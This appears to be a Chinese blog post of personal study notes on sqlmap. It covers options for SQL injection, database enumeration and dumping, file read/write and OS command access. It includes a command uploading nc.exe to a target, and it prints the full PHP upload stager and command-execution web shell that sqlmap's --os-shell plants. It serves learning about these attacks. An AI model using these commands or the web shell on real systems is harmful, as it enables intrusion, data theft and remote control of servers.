Sqlmap常見命令
借着復習mysql的機會再重新復習一下sqlmap,因為參數太多了,我只記錄一下自己常用的命令,如果想看詳細大全,可以看一下大佬們的完整版
文章參考
https://blog.csdn.net/Breeze_CAT/article/details/80628392
https://blog.csdn.net/SHIGUANGTUJING/article/details/91429067
想了解sql注入流程的可以看一下
https://sherlocz.github.io/2019/06/29/sqlmap-p/
1.選項
-h,--help 顯示基本幫助信息並退出
-hh 顯示高級幫助信息並退出
--version 顯示程序版本信息並退出
2.目標
在這些選項中必須提供至少有一個確定目標
-u 目標URL
例:sqlmap -u "www.abc.com/index.php?id=1"
-m 后接一個txt文件,文件中是多個url,sqlmap會自動化的檢測其中的所有url。
例:sqlmap -m target.txt
-r 可以將一個post請求方式的數據包(bp抓包)保存在一個txt中,sqlmap會通過post方式檢測目標。
例:sqlmap -r bp.txt
3.請求
這些選項可以用來指定如何連接到目標URL
--method=METHOD 指定是get方法還是post方法。
例: --method=GET --method=POST
--random-agent 使用隨機user-agent進行測試。sqlmap有一個文件中儲存了各種各樣的user-agent,文件在sqlmap/txt/user-agent.txt 在level>=3時會檢測user-agent注入。
--proxy=PROXY 指定一個代理。
例: --proxy="127.0.0.1:8080" 使用GoAgent代理。
4.注入
這些選項可用於指定要測試的參數、提供自定義注入有效載荷和可選的篡改腳本。
-p 測試參數
例: sqlmap -r bp.txt -p "username"
--skip-static 跳過測試靜態參數(有的時候注入有多個參數,那么有些無關緊要的參數修改后頁面是沒有變化的)
--no-cast 獲取數據時,sqlmap會將所有數據轉換成字符串,並用空格代替null。(這個在我們注入失敗的時候偶爾會見到,提示嘗試使用--no-cast)
--tamper=TAMPER 使用sqlmap自帶的tamper,或者自己寫的tamper,來混淆payload,通常用來繞過waf和ips。
5.檢測
這些選項可以用來指定在SQL盲注時如何解析和比較HTTP響應頁面的內容
--level=LEVEL 執行測試的等級(1-5,默認為1)
lv2:cookie; lv3:user-agent,refere; lv5:host
在sqlmap/xml/payloads文件內可以看見各個level發送的payload 我常使用--level 3
--risk=RISK 執行測試的風險(0-3,默認為1)
risk 2:基於事件的測試;risk 3:or語句的測試;risk 4:update的測試
升高風險等級會增加數據被篡改的風險。 常用就是默認1
6.枚舉
這些選項可以用來列舉后端數據庫管理系統的信息、表中的結構和數據。 脫庫時使用
-b, --banner 獲取數據庫管理系統的標識
--current-user 獲取數據庫管理系統當前用戶
--current-db 獲取數據庫管理系統當前數據庫
--hostname 獲取數據庫服務器的主機名稱
--is-dba 檢測DBMS當前用戶是否DBA
--users 枚舉數據庫管理系統用戶
--passwords 枚舉數據庫管理系統用戶密碼哈希
--privileges 枚舉數據庫管理系統用戶的權限
--dbs 枚舉數據庫管理系統數據庫
--tables 枚舉DBMS數據庫中的表
--columns 枚舉DBMS數據庫表列
-D 要進行枚舉的指定數據庫名
-T 要進行枚舉的指定表名
-C 要進行枚舉的指定列名
--dump 轉儲數據庫表項,查詢字段值
--search 搜索列(S),表(S)和/或數據庫名稱(S)
--sql-query=QUERY 要執行的SQL語句
--sql-shell 提示交互式SQL的shell
7.文件操作
這些選項可以被用來訪問后端數據庫管理系統的底層文件系統
--file-read=RFILE 從后端的數據庫管理系統文件系統讀取文件
--file-write=WFILE 編輯后端的數據庫管理系統文件系統上的本地文件
--file-dest=DFILE 后端的數據庫管理系統寫入文件的絕對路徑
在kali中將/software/nc.exe文件上傳到C:/WINDOWS/Temp下:
python sqlmap.py -u"http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write="/software/nc.exe" --file-dest="C:/WINDOWS/Temp/nc.exe"
8.操作系統訪問
這些選項可以用於訪問后端數據庫管理系統的底層操作系統
--os-cmd=OSCMD 執行操作系統命令(OSCMD)
--os-shell 交互式的操作系統的shell
os-shell的原理
文章參考
https://www.cnblogs.com/lcamry/p/5505110.html
當我們運行--os-shell的時候,首先要選擇語言(默認為php)
然后需要輸入網站的絕對路徑,我的是默認目錄/var/www/html/選1,如果需要自己輸入的話選2
然后在/var/www/html下會多出兩個php文件,這兩個php文件就是--os-shell寫入的shell文件
我們看一下內容
tmputade.php
<?php
if (isset($_REQUEST["upload"]))
{
$dir=$_REQUEST["uploadDir"];
if (phpversion()<'4.1.0')
{
$file=$HTTP_POST_FILES["file"]["name"];
@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();
}
else
{
$file=$_FILES["file"]["name"];
@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();
}
@chmod($dir."/".$file,0755);echo "File uploaded";
}
else
{
echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/var/www/html/> <input type=submit name=upload value=upload></form>";
}
?>
實現的就是上傳文件,同時根據phpversion,將上傳的文件的權限進行修改。 (大概作用就是用來判斷php版本?否則直接寫入下面的執行腳本就好了,這個上傳腳本不是多此一舉嗎?)
tmpbixkl.php
<?php
$c=$_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set("max_execution_time",0);
$z=@ini_get("disable_functions");
if(!empty($z))
{
$z=preg_replace("/[, ]+/",',',$z);
$z=explode(',',$z);
$z=array_map("trim",$z);
}
else
{
$z=array();
}
$c=$c." 2>&1\n";
function f($n)
{
global $z;
return is_callable($n)and!in_array($n,$z);
}
if(f("system"))
{
ob_start();
system($c);
$w=ob_get_clean();
}
elseif(f("proc_open"))
{
$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
$w=NULL;
while(!feof($t[1]))
{
$w.=fread($t[1],512);
}
@proc_close($y);
}
elseif(f("shell_exec"))
{
$w=shell_exec($c);
}
elseif(f("passthru"))
{
ob_start();
passthru($c);
$w=ob_get_clean();
}
elseif(f("popen"))
{
$x=popen($c,r);
$w=NULL;
if(is_resource($x))
{
while(!feof($x))
{
$w.=fread($x,512);
}
}
@pclose($x);
}
elseif(f("exec"))
{
$w=array();
exec($c,$w);
$w=join(chr(10),$w).chr(10);
}
else{$w=0;}
echo"<pre>$w</pre>";?>
上述代碼實現了os-shell得到了命令后,如何執行命令以及輸出執行結果到os-shell中 。
os-shell使用條件
- 網站必須是root權限(current_user()='root')
- 網站的絕對路徑
- GPC為off(默認為off)
網上說的都是這三個條件,可是我三個條件都滿足了仍然無法使用os-shell,后來發現雖然數據庫是root@localhost權限但是往系統里寫文件時的權限是mysql而不是root
/var/www/html默認權限是755,除了root用戶其他用戶沒有寫的權限,就無法將上面的兩個php文件寫入目錄里,所以使用條件只有這3個就可以嗎?還是因為什么原因?這個還沒想明白,先記錄一下這個問題。
如果有錯誤或者知道原因的大佬希望可以評論一下,指出問題,感激不盡